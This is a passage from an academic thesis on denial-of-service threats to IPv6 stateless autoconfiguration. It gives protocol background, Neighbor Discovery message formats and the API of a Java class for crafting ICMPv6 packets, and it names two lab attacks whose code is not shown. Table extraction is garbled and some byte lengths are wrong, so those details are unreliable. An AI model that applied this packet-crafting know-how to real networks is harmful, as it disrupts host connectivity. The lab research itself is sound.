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ABSTRACT 
IPv6, the successor of IPv4, introduces the stateless 
autoconfiguration feature as a convenient alternative to 
the Dynamic Host Configuration Protocol (DHCP). However, 
the security implications of this new approach have only 
been discussed at the conceptual level. 
This thesis research develops software based on the 
open-source packet capture library Jpcap to capture and 
build appropriate ICMPv6 autoconfiguration messages. The 
developed Java software is used to implement two DoS 
threats to the IPv6 autoconfiguration procedure in a 
laboratory IPv6 network. The results indicate that these 
threats are real, and further studies are required to 
identify suitable countermeasures.  During this work 
compliance defects are also identified for the Linux 
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1 
I. INTRODUCTION  
IPv6 is the network layer protocol developed to 
replace IPv4. It has a large address space and is expected 
to improve network performance and network security. The 
intended improvements include both enhancements of existing 
IPv4 functionalities and new features. Most of the former 
category of improvements have been tested and analyzed 
during the operational period of IPv4; the new features, 
however, are not equally tested. Some of them still have 
not been incorporated into popular operating systems, and 
some exist only as RFC specifications, with no actual 
implementation. 
One of the new features of IPv6 is the stateless host 
autoconfiguration process. The Dynamic Host Configuration 
Protocol (DHCP) is the predominant way of host 
configuration in IPv4. IPv6 introduces two distinct methods 
of host autoconfiguration: stateless and stateful. Although 
stateless and stateful host autoconfiguration each receive 
a share in implementation and development, it’s the 
stateless option that is supported by most contemporary 
operating systems, and is significantly different than what 
is found in IPv4. It is a procedure designed to facilitate 
IPv6-enabled hosts to join a network by allowing these 
hosts to configure their network parameters automatically, 
without the intervention of the user or a network 
administrator. For routed environments, though, a minimal 
amount of manual router configuration is required so that 
information can flow between links. 
This feature, a basic characteristic of all IPv6 
implementations, is also the subject of serious discussions 
2 
concerning its security implications. Several problems have 
been identified and solutions proposed [Nikander04]. A 
systematic implementation and analysis in a laboratory 
environment of the potential threats to the hosts and the 
network, during the IPv6 autoconfiguration process, will 
help in the evaluation of the proposed solutions and in 
research for new ones.  Such analysis, together with the 
tools to gather the data to support that analysis, is the 
focus of this thesis. 
A. OBJECTIVE 
The main objective of this research effort is to build 
a test bed for investigating the vulnerabilities of the 
IPv6 stateless autoconfiguration procedure. The test bed 
shall facilitate the enactment and analysis of the effects 
of specific threats on the hosts and the network.  The 
threats shall be implemented in software and validated 
using the test bed. The software shall provide a convenient 
library for ICMPv6 packet crafting and capture, and is to 
be developed in Java for portability. While this thesis is 
not about discovering new vulnerabilities or evaluating 
countermeasures, the resulting test bed and software shall 
lay the necessary groundwork for future research in those 
directions.  Thus, the following tasks will be 
accomplished: 
1. Identify known security issues with the proposed 
IPv6 autoconfiguration protocol. 
2. Select two candidate risks for further study. 
3. Develop custom Java modules to supplement those 
publicly available as necessary to develop low-level packet 
manipulation and crafting. 
3 
4. Configure a suite of hardware components to 
investigate the susceptibility of the autoconfiguration 
protocol to the selected risks. 
5. Implement attacks against the test bed and assess 
the performance of the protocol in the presence of 
malicious activity. 
B. RESEARCH QUESTIONS 
This thesis investigates the following specific 
issues: 
1. What are the security considerations 
(vulnerabilities) of stateless autoconfiguration from the 
perspective of the host? 
2. What are the real and potential threats to the 
network?  Are there any known current exploits of the 
vulnerabilities? 
3. What tools are necessary to study the potential 
for attacks on IPv6 autoconfiguration? Is it possible to 
build portable toolkits for packet capture and crafting 
that can be used to attack the IPv6 autoconfiguration 
process? 
4. What methods are proposed for the threat 
mitigation? 
C. ORGANIZATION 
This thesis is organized as follows: 
Chapter II provides an overview of the IPv6 
autoconfiguration process, and a discussion of known 
security issues. Chapter III presents the software that was 
developed for the implementation of threats. In Chapter IV, 
the implementation of specific attacks to the stateless 
autoconfiguration is presented, and results of their 
4 
application in a laboratory IPv6-based network are 
demonstrated. Since the stateless autoconfiguration relies 
on other protocols, processes, and algorithms (e.g., 
Neighbor Discovery Protocol, ICMP, Duplicate Address 
Detection, etc.), consideration of the inherited threats 
from the base protocols or algorithms on the 
autoconfiguration itself is discussed. An evaluation of the 
autoconfiguration procedure is provided in Chapter V, based 
on the experimental results from Chapter IV.  Conclusions 
and recommendations for threat mitigation are presented in 
the final chapter, along with suggestions for future work 











This chapter intends to shortly present the host 
autoconfiguration procedure and the related protocols and 
processes. It is intended to be a high-level description 
that will introduce the autoconfiguration terminology and 
help the reader comprehend why the attacks to be presented 
in subsequent chapters would succeed. 
A. BASICS OF IPV6 ADDRESSING 
The address space in IPv6 is 128 bits, thus allowing 
increased flexibility in designing networks with multiple 
hierarchical levels, while facilitating hierarchical 
routing. Ipv6 addresses identify interfaces within one out 
of three hierarchical regions of the network. The scope of 
an address could be link-local, site-local, or global. 
There are three types of IPv6 addresses: unicast, multicast 
and anycast. 
1. Unicast Address 
A unicast address identifies a single interface within 
its scope. For load-balancing purposes, a set of interfaces 
can share the same unicast address – as long as they all 
appear as the same interface to the IPv6 implementation of 
the host [Hinden03]. Unicast addresses are categorized into 
the following four categories. 
a. Aggregatable Global Unicast Addresses 
These are globally routable and reachable and are 
identified by the fixed prefix 001. The term aggregatable 
is derived from the format of the address that includes 
multiple aggregation identifiers to support multiple 




Figure 1.   Aggregatable Global Unicast Address format (From 
Ref. [Hagen02]). 
 
b. Site-Local Unicast Addresses 
These addresses are not reachable from outside 
the local network (roughly equivalent to the private 
address space of IPv4), and are identified by the fixed 




Figure 2.   Site-Local Unicast Address format (From Ref. 
[Davies02]). 
 
c. Link-Local Unicast Addresses 
Link-local unicast addresses are used for 
communication between nodes on the same link. The fixed 
prefix of a link-local address is 1111111010, and the 
structure can be seen in the Figure 3. 
 
 




d. Special Unicast Addresses 
Those include the unspecified address 
0:0:0:0:0:0:0:0 (equivalent to the 0.0.0.0 IPv4 address), 
the loopback address 0::1, and various IPv4-compatibility 
addresses with the purpose of facilitating dual stack 
implementations during the transition period. 
2. Multicast Address 
A multicast address is assigned to a set of 
interfaces, so that packets are delivered to all those 
interfaces. The fixed prefix for multicast addresses is 
11111111 (FF). The structure of the address, the possible 
values of the fields, and some well known multicast 
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3. Anycast Address 
An anycast address is also assigned to a set of 
interfaces, but packets are delivered only to a single 
interface (in that set) that is the closest to the source. 
Anycast addresses are used only as destination addresses 
and are assigned only to routers. There is no fixed 
identifier for anycast addresses; routers retain routes to 
the nodes of anycast groups, and are aware of the anycast 
groups in which they participate. Common use of anycast 
addresses is for communication with the nearest router 
connected to a specified subnet. 
B. HOST AUTOCONFIGURATION 
An IPv6 host usually has multiple unicast addresses 
for each of its interfaces; a link-local address is the 
first address assigned to the interface, while global 
10 
and/or site-local address configuration follows. 
Configuration of interfaces in IPv6 is controlled by the 
protocol itself. The host autoconfiguration feature allows 
hosts joining a link to configure link-local addresses for 
their interfaces and checks the uniqueness and validity of 
all addresses a user attempts to assign. A minimal 
configuration of local routers is only needed for global 
and/or site-local address autoconfiguration by the hosts, 
while stateful configuration options (such as DHCP for 
IPv6) are supported. 
Stateless autoconfiguration refers to the procedure 
during which the host is assigned addresses based on the 
local router advertisements. Stateless DHCP is the 
procedure during which addresses are configured according 
to the router advertisements, and a host receives 
additional information (such as DNS servers) via a DHCP 
server. 
1. IPv6 Address States 
An IPv6 address can be tentative, valid or invalid. A 
tentative address is an address that is in the process of 
being verified for uniqueness. It can not be used for 
normal IPv6 traffic; it is only used for receiving 
duplicate address detection related messages. 
A valid address is one that is verified for 
uniqueness, and therefore can be used for all traffic. It 
can be either preferred (use of this address is unlimited), 
or deprecated (use is discouraged for new communication 
since a new preferred address exists, but can be used for 
existing sessions). The period that an address is valid is 
advertised by the routers in a corresponding router 
advertisement field. 
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An invalid address is the address after its valid 
lifetime expires, and it can no longer be used for sending 
or receiving IPv6 traffic. 
2. Link-local Address Autoconfiguration 
The procedure starts with the generation of a 
tentative link-local address by the host. The prefix of a 
link-local address is 1111 1110 10. The rest of the address 
is an interface identifier, which is most likely unique. 
Typically on an Ethernet network the prefix is FE80::/64 
and it is followed by the EUI-64 interface identifier. The 
EUI-64 identifier is based on the physical address of the 
interface (48-bit MAC address), with the injection of the 
two bytes 0xFFFE between the third and fourth byte as shown 
in Figure 5.  
 
Figure 5.   EUI-64 Interface Identifier (from Ref. 
[Microsoft06]). 
 
In the IPv6 address that is generated, the seventh bit 
of the interface identifier (the U/L bit of the EUI-64) is 
complemented. 
The generated address is then checked for uniqueness 
in the local network by the use of the Duplicate Address 
Detection mechanism (DAD). A neighbor solicitation message 
12 
is sent, stating the tentative link-local address; if 
another node is assigned this address, it sends a 
corresponding neighbor advertisement. At this point another 
address must be generated or the autoconfiguration fails. 
If the address is unique, then the tentative address 
becomes valid, and the node can communicate with other 
nodes in the link. 
3. Global Address Autoconfiguration 
a. Router Configuration 
A router, in order to support the host 
autoconfiguration procedure, must send router 
advertisements. A router advertisement includes two flags 
(one bit each) which indicate the autoconfiguration method. 
The “M” flag, when set, tells hosts to use DHCPv6 for 
address configuration (Managed Address Configuration Flag). 
The “O” flag, when set, tells hosts to use an administered 
configuration method (such as DHCPv6) for information other 
than addresses. For the stateless autoconfiguration method, 
router advertisements must at least contain the subnet 
prefix that the hosts must use to formulate their site-
local or global address, and the corresponding lifetimes 
(valid and preferred). Option headers of router 
advertisements include the advertised MTU and the source 
link-layer address of the message. Router advertisements 
are sent periodically or when solicited by a host. 
b. Stateless Address Autoconfiguration 
The host sends a router solicitation message to 
request an immediate router advertisement. If no router 
advertisement or a router advertisement with the “M” flag 
(bit) set is received, the host proceeds to stateful 
autoconfiguration. If a router advertisement is received 
with the “M” flag set to zero, the host uses the advertised 
13 
prefix to derive a tentative address. After a duplicate 
address detection procedure, the address is either assigned 
to the interface, or it is rejected if another node 
responds with a corresponding neighbor advertisement, 
stating that this address is already in use. 
If the received router advertisements have the 
“O” flag set, the host uses stateful configuration to 
obtain additional network information. 
4. IPv6 Renumbering 
IPv6 renumbering is the procedure during which all 
hosts of an IPv6 subnet change their subnet prefix. 
Renumbering is required when an isolated network (which 
makes use of site-local addresses) joins the public IPv6 
internet, when a network leaves the internet, when it 
becomes multi-homed (connected to the public internet 
through multiple gateways), or for whatever reasons a 
change of the prefix is needed. The procedure starts with a 
special “router renumbering command” [Crawford00] issued by 
the network administrator via a control device. This 
command includes the routers that need to be reconfigured 
along with their new prefixes. After the routers process 
the renumbering command, they advertise the new prefix to 
their hosts and, if required by the renumbering command, 
respond to the originator of the command with a “router 
renumbering result” message. Renumbering commands and 
results are ICMPv6 messages. An alternative method of 
renumbering makes use of the DHCPv6 through the address 
“leases” that expire when required. 
C. NEIGHBOR DISCOVERY PROTOCOL 
The Neighbor Discovery Protocol is used to provide the 
functionality of Address Resolution Protocol (ARP), ICMPv4 
14 
Router Discovery, and the ICMPv4 Redirect message 
[Narten98]. For this reason, it formalizes five ICMPv6 
informational messages. The router and neighbor 
solicitations and advertisements are four neighbor 
discovery messages used mostly in address autoconfiguration 
and address resolution; the fifth message of this protocol 
is the redirect, which in IPv4 is considered an ICMP error 
message. 
1. ICMPv6 
ICMPv6, like ICMP for IPv4, is used either for error 
messages (by the destination or an intermediate node), or 
for informational messages to test, diagnose and enhance 
connectivity. The format of the ICMPv6 is displayed in 
Figure 6. 
 
      0                   1                   2                   3 
      0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
     |     Type      |     Code      |          Checksum             | 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
     |                                                               | 
     +                         Message Body                          + 
     |                                                               | 
     +---------------------------------------------------------------+ 
Figure 6.   ICMPv6 format (from Ref. [Conta06]). 
 
The type field indicates the type of message. Its 
value determines the format of the remaining data. The code 
field depends on the message type and is used to create an   
additional level of message granularity. The checksum field 
is used to detect data corruption in the ICMPv6 message and 
parts of the IPv6 header. The calculation of the checksum 
involves a “pseudo-header” consisting of the source and 
destination addresses, the payload length, a sequence of 24 
zeroes and the number 58. 
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2. Neighbor Discovery Messages 
a. Router Solicitation 
The purpose of router solicitation is to force 
routers to generate router advertisements immediately 
rather than at their next scheduled time. It is used when a 
node joins the network, and needs to be configured. 
Typically, the source address is the unspecified address, 
and the destination address is the all-routers multicast 
address. The hop limit must be 255.  The router 
solicitation format is shown in Figure 7. 
 
      0                   1                   2                   3 
      0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
     |     Type      |     Code      |          Checksum             | 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
     |                            Reserved                           | 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
     |   Options ... 
     +-+-+-+-+-+-+-+-+-+-+-+- 




The type of a router solicitation is 133, and the code 0. 
The reserved field must be initialized to zeros, and is not 
used. Options include the link-layer address of the sender 
if the source address is not the unspecified address. 
b. Router Advertisement 
The router advertisement is a response to the 
router solicitation. Routers also send advertisements 
periodically. 
The source address is the link-local address of 
the corresponding router interface. The destination address 
is either the address of an invoking router solicitation or 
16 
the all-nodes multicast address. The hop limit is 255. The 
router advertisement format is shown in Figure 8. 
 
      0                   1                   2                   3 
      0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
     |     Type      |     Code      |          Checksum             | 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
     | Cur Hop Limit |M|O|  Reserved |       Router Lifetime         | 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
     |                         Reachable Time                        | 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
     |                          Retrans Timer                        | 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
     |   Options ... 
     +-+-+-+-+-+-+-+-+-+-+-+- 




The type of this ICMPv6 message is 134 and the code is 
0. The “M” and “O” bits are the “managed address 
configuration” and the “other stateful configuration” 
flags. The router lifetime is in seconds, and a value of 
zero means the router is not a default router. The 
reachable time field indicates the time - in milliseconds - 
that a node assumes a neighbor is reachable after having 
received a reachability confirmation. Retransmission time 
is also in milliseconds. Possible options include the 
sender’s link-layer address, the MTU and the prefix 
information. 
c. Neighbor Solicitation 
Neighbor solicitation is the equivalent of ARP in 
IPv4. It is used by nodes to request the link-layer address 
of a target node while also providing their own link-layer 
address to the target.  Neighbor solicitations are 
multicast when the node needs to resolve an address and  
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unicast when the node seeks to verify the reachability of a 
neighbor. The neighbor solicitation format is shown in 
Figure 9. 
 
0                   1                   2                   3 
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
|     Type      |     Code      |          Checksum             | 
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
|                           Reserved                            | 
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
|                                                               | 
+                                                               + 
|                                                               | 
+                       Target Address                          + 
|                                                               | 
+                                                               + 
|                                                               | 
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
|   Options ... 
+-+-+-+-+-+-+-+-+-+-+-+- 
Figure 9.   Neighbor Solicitation format (from Ref. 
[Narten98]). 
 
In the case of Duplicate Address Detection, the 
source address is the unspecified address and the 
destination address is the solicited-node multicast address 
corresponding to the target address. The hop limit is 255. 
The target address is the unicast IPv6 address of the 
target of the solicitation. 
The type of a neighbor solicitation is 135, and 
the code 0. Possible options include the link-layer address 
of the sender if the source address is not the unspecified 
address. 
d. Neighbor Advertisement 
The neighbor advertisement is a response to the 
neighbor solicitation. Nodes may also send advertisements 
periodically, in order to propagate new information 
quickly. 
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If the solicitation’s source address is the 
unspecified address, the advertisement’s destination 
address is the all-nodes multicast address. The hop limit 
is 255. The neighbor advertisement format is depicted in 
Figure 10. 
       0                   1                   2                   3 
       0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
      |     Type      |     Code      |          Checksum             | 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
      |R|S|O|                     Reserved                            | 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
      |                                                               | 
      +                                                               + 
      |                                                               | 
      +                       Target Address                          + 
      |                                                               | 
      +                                                               + 
      |                                                               | 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
      |   Options ... 
      +-+-+-+-+-+-+-+-+-+-+-+- 
Figure 10.   Neighbor Advertisement format (from Ref. 
[Narten98]). 
 
The type of a neighbor advertisement is 136, and 
the code 0. The “R” bit indicates that the node is a 
router. The “S” bit indicates that the advertisement is 
sent as a response to a neighbor solicitation. The “O” bit 
is the override flag. When set, it indicates that the 
advertisement should override an existing cache entry and 
update the cached link-layer address. An existing Neighbor 
Cache entry for which no link-layer address is known will 
always be updated. 
e. Redirect Function 
The redirect function is used to enhance the 
performance of a network by allowing routers to inform 
hosts of a better route to use for datagrams sent to a 
particular destination. When a router receives a message 
from a host, while there is a more efficient route for the 
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specific destination, it responds to the host with the 
first-hop to use when sending messages to this destination. 
Redirect messages may also include the link-layer address 
of the first-hop, attempting to update the sender’s address 
resolution cache and save an address resolution cycle. 
The source address is the link-local address of 
the originator router’s interface. The hop limit is 255.  
The redirect message format is shown in Figure 11. 
       0                   1                   2                   3 
       0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
      |     Type      |     Code      |          Checksum             | 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
      |                           Reserved                            | 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
      |                                                               | 
      +                                                               + 
      |                                                               | 
      +                       Target Address                          + 
      |                                                               | 
      +                                                               + 
      |                                                               | 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
      |                                                               | 
      +                                                               + 
      |                                                               | 
      +                     Destination Address                       + 
      |                                                               | 
      +                                                               + 
      |                                                               | 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
      |   Options ... 
      +-+-+-+-+-+-+-+-+-+-+-+- 
Figure 11.   Redirect Message format (from Ref. [Narten98]). 
 
The type of the redirect message is 137 and the 
code is 0. The target address is the link-local address of 
the better first-hop router that the host should use. If 
the communicating hosts are on the same link (neighbors), 
the target address field contains the same value as the 
ICMP destination. Possible options include the target link-
layer address and a redirected header – a part of the IP 
packet that triggered the “redirect” response. 
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D. KNOWN SECURITY ISSUES RELATED TO IPV6 HOST 
AUTOCONFIGURATION 
Since address autoconfiguration is a critical 
procedure, it must be secured against various attacks. The 
proposed solution for protection of the exchanged neighbor 
discovery messages is the IPsec authentication header 
[Kent05]. That would require the existence of security 
associations between all participating nodes and all nodes 
that would potentially join the network. Security 
associations (SAs) between two nodes could be negotiated 
via IKE, but this cannot be done for multicasted messages; 
in that case, the SAs have to be manually configured. This 
introduces yet unresolved issues, due to scalability and 
key management problems [Arkko05]. 
The Secure Neighbor Discovery (SEND) working group of 
the Internet Engineering Task Force (IETF) proposed the 
SEND protocol to solve the problem of key management 
[Arkko05] with the use of Cryptographically Generated 
Addresses (CGA) [Aura05]. As of August 2006, 
implementations of these protocols that are proposed 
standards were found only in Linux and FreeBSD operating 
systems. 
This thesis attempts to implement and analyze two 
Denial of Service attacks, based on security concerns of 
the autoconfiguration process as described in the relevant 
RFCs and on the potential threats of the Neighbor Discovery 
Protocol [Nikander04].  
The following chapter presents the software developed 
for low-level IPv6 packet manipulation, and the code of two 
Denial of Service attacks. 
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III. JAVA SOFTWARE FOR LOW-LEVEL IPV6 
AUTOCONFIGURATION MESSAGE EXCHANGE MANIPULATION  
The attacking software was developed in Java. Since 
Java does not natively support low-level socket 
manipulation, an appropriate library for packet capturing 
and crafting had to be used. Two such open-source libraries 
were found, both being Java wrappers of the C-based libpcap 
(Unix) and winpcap (Windows) capture libraries. Jpcap 
(capital J) supports packet crafting and was selected over 
jpcap1. 
The current version of Jpcap (version 0.5.1), as of 
August 2006, doesn’t provide direct support for ICMPv6. The 
intention of this research was, apart from implementing the 
attacks, to develop a Java class that supports ICMPv6 
packet crafting and capture. This class was then used for 
the “Router Lifetime Decreaser” and the “DAD Collision 
Generator”, two Denial of Service attacks. 
The software was developed in NetBeans IDE 5.0, and 
the comments were converted to Javadoc with the appropriate 
NetBeans function. 
A. ICMPV6 SUPPORT FOR JPCAP 
As the attack uses ICMPv6 messages, a means must be 
provided to generate these messages by the attacker. A new 
Java class called ICMP6 has been developed for this thesis 
which provides the necessary ICMPv6 support to supplement 
the Jpcap library. The Java code for this class is provided  
 
 
                     1 Jpcap development is maintained by a faculty member of UC, Irvine 
at netresearch.ics.uci.edu/kfujii/jpcap/doc/index.html; jpcap is a 
“sourgeforge” project at sourceforge.net/projects/jpcap. 
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in Appendix A, while two attack implementations based on 
the class are presented in Appendices B and C, 
respectively.  
1. The Constants 
The bytes of the fields for the ICMP header and for 
the ICMPv6 neighbor discovery messages are provided as 
constants, along with the corresponding types.  Tables 3 -
10 show the class’s constants. 
 
 
 Constant Description Value
Static





LINK_SOURCE_BYTE Starting Byte Link-layer 
Header "Source Address" 
field (the field length 
is 6 bytes) 
6 
Static
 short PACKET_TYPE   
Byte of the Link-layer 
Header "Packet Type" 
field (the field length 
is 6 bytes) 
12 












 Constant Description Value
static
 short VERSION_PRIORITY_BYTE 
Byte of the Network-layer 




 short PAYLOAD_LENGTH_BYTE 
Starting Byte of the 
Network-layer Header 
"Payload Length" field 
(field is two bytes long) 
4 
static
 short NEXT_HEADER_BYTE   
Byte of the Network-layer 
Header "Next Header" field 6 
static
 short HOP_LIMIT_BYTE Byte of the Network-layer Header "Hop Limit" field 7 
static
 short SOURCE_BYTE             
Starting Byte of the 
Network-layer "Source 
Address" field (field length 
is 8 bytes) 
8 
static
 short DESTINATION_BYTE Starting Byte of the Network-layer "Destination 
Address" field (field length 
is 8 bytes) 
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static
 short PAYLOAD_BYTE   
Starting Byte of Network-
layer's payload 40 
static
 short ICMP_TYPE_BYTE   
Byte of the ICMP Header 
"ICMP Type" field 40 
static
 short ICMP_CODE_BYTE Byte of the ICMP Header "ICMP Code" field 41 
static
 short ICMP_CHECKSUM_BYTE 
Starting Byte of ICMP Header 
"ICMP Checksum" field (field 
length is 2 bytes) 
42 
static
 short ICMP_BODY_BYTE Starting Byte of the ICMP Body 44 






 Constant Description Value
static
 short ECHO_REQUEST   
Value of ICMPv6 Type for "Echo 
request" message 128 
static
 short ECHO_REPLY   
Value of ICMPv6 Type for "Echo 
reply" message 129 
static
 short MLR   
Value of ICMPv6 Type for "Echo 
multicast listener report" message 131 
static
 short RS Value of ICMPv6 Type for "Router Solicitation" message 133 
static
 short RA             
Value of ICMPv6 Type for "Router 
Advertisement" message 134 
static
 short NS             
Value of ICMPv6 Type for "Neighbor 
Solicitation" message 135 
static
 short NA   
Value of ICMPv6 Type for "Neighbor 
Advertisement" message 136 
static
 short REDIRECT Value of ICMPv6 Type for "Redirect" message 137 
Table 5.   Class ICMP6 constants for ICMPv6 Type field value 
 
 Constant Description Value 
static









 short REACHABLE_TIME Byte of the ICMP Router Advertisement "Reachable time" 
field (field length 4 bytes) 
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static
 short RETRANSMISSION_  TIMER  
           





 short RA_OPTIONS_BYTE   
Starting Byte of the ICMP 
Router Advertisement Options 
Headers 
56 





 Constant Description Value
static
 short NA_FLAGS_BYTE Byte of the ICMP Neighbor Advertisement Flags field 44 
static
 short NA_TARGET_BYTE   
Starting Byte of the ICMP 
Neighbor Advertisement "Target 




 short NA_OPTIONS_BYTE  
Starting Byte of the ICMP 
Neighbor Advertisement Options 
headers 
64 





 Constant Description Value
static
 short SOURCE_LINK_LAYER_ADDRESS Value of the ICMPv6 Option Header for a 




 short TARGET_LINK_LAYER_ADDRESS Value of the ICMPv6 Option Header for a 









 short MTU Value of the ICMPv6 Option Header for an 
"MTU" option 
5 
Table 8.   Constants of Class ICMP6 for the Option Header 









 Constant Description Value
static
 short OPTION_LENGTH_BYTE   
Byte of the ICMPv6 
Option Header 
"Option Length" 
field (byte count 
from the start of 
the Option Header) 
1 
static
 short OPTION_LINK_LAYER_ADDRESS Starting Byte of the ICMPv6 Option "Link 
Layer Address" field 
(field length 6 
Bytes - byte count 
from the start of 
the Option Header) 
2 
static
 short PREFIX_FLAGS_BYTE   
Byte of the Router 
Advertisement Prefix 
Option "Prefix 
Flags" field (byte 
count from the start 
of the Option) 
3 
static
 short PREFIX_VALID_LIFETIME_BYTE Byte of the Router Advertisement Prefix 
Option "Prefix Valid 
Lifetime" field 
(byte count from the 
start of the Option) 
4 
static
 short PREFIX_PREFERRED_LIFETIME_BYTE 




field (byte count 




 short PREFIX_BYTE   
Starting Byte of the 
Router Advertisement 
Prefix Option 
"Prefix" field (byte 
count from the start 
of the Option) 
16 






 Constant Description Value
static
 short ICMP_PSEUDO_LENGTH ICMP pseudo header length 40 
static
 int NEXT_HEADER_ICMP   
Value of the Network Layer 




 int VERSION_PRIORITY_MIN 
Minimum Value of the 
Network Layer Header 
"Version Priority" field 
for IPv6 
96 
Table 10.   Other Class ICMP6 constants 
 
2. Constructors 
The ICMP6 class is a wrapper of the 
Jpcap.packet.Packet class. The data member of ICMP6 is a 
Jpcap.packet.Packet object, of which the behavior is 
enhanced (according to the ICMPv6 specifications) with the 
class’s methods. There are two constructors, neither being 
a default constructor. 
One constructor converts a jpcap.packet.Packet object 
to an IVMP6 class object. Although error checking (with a 
method provided by the class) is implemented, it is 
recommended that the application developer also makes sure 
that the jpcap.packet.Packet object is of type ICMPv6 
before using this constructor. No default packet is 
generated if the error checking fails. 
The second constructor is designed to construct 
various types of ICMPv6 messages with default values where 
possible. It is given an integer parameter which 
corresponds to the type of ICMPv6 message to be created (as 
an ICMP6 object). Currently, only neighbor advertisement 




advertisement fields that are initialized with this 
constructor, and the fields for which the developer is 
responsible to assign values. 
 
ICMPv6 field Value Comments 
Version - Priority 0x60 IPv6 – Priority initialized to 0 
Flow Label 0  
Payload length 32 32 bytes Network-Layer payload 
length (includes the ICMPv6 
header and the Target Link layer 
Address option header) 
Next Header 58 ICMPv6 
Hop Limit 255 Neighbor discovery specification 
[RFC2462] 
ICMPv6 Type 136 Neighbor Advertisement 
ICMPv6 Code 0  
Flags 0  
Option header type 2 Target Link Layer Address 
Option header 
length 
1 1 Byte for the Target Link Layer 
Address option header. 
Table 11.   Neighbor Advertisement fields initialized by the 









ICMPv6 field Corresponding method 
Link layer header ICMPv6.setDataLink() method  






Target Address  ICMPv6.setTargetAddress() 
method 
Option header’s Target Link 
Layer Address  
ICMPv6.setOptionLinkAddress() 
method 
ICMPv6 checksum ICMPv6.calculateChecksum() 
method 
Table 12.   Neighbor Advertisement fields not initialized by 
the corresponding ICMP6 constructor. 
 
A modification of the neighbor advertisement flags may 
also be needed by the developer (all flags are initialized 
to zero). 
3. Methods 
 “Get” methods allow the developer to access the 
values inside the message’s fields, whereas with the 
corresponding “set” methods, modification or setting of the 
values is enabled. A method for calculation and setting of 
the ICMPv6 checksum is provided. This method appropriately 
incorporates the pseudo header. Also, a method that checks 
if a Packet is an ICMPv6 message is implemented. Tables 13 





Return Type Method Name and Description 
 int getChecksum()  
          Returns the checksum of the 
ICMPv6 
      
 java.net.Inet6Address
getDestinationAddress()  
          Returns the IPv6 
Destination Address address 
 byte[] getLinkDestinationAddress()  
          Returns the Link-Layer 
destination address 
 byte[] getLinkSourceAddress()  
          Returns the Link-Layer 
source address 
 java.net.Inet6Address getSourceAddress()  
          Returns the IPv6 source 
address 
 java.net.Inet6Address getTargetAddress()  
          Returns the Target Address 
of a NA or NS 
 int getType()  
          Returns the Type of the 
ICMPv6 













Type Method Name and Description 
 void setDataLink(jpcap.packet.DatalinkPacket dl)  
          Sets the DataLink Header to the ICMPv6 
packet 
 void setDestinationAddress(java.net.Inet6Address dst)  
          Sets the IPv6 Destination Address 
 void setOptionLength(int bytes)  
          Sets the ICMPv6 Option Header Length 
 void setOptionLinkAddress(byte[] src)  
          Sets the ICMPv6 Option Link-Layer Address 
 void setOptionType(int type)  
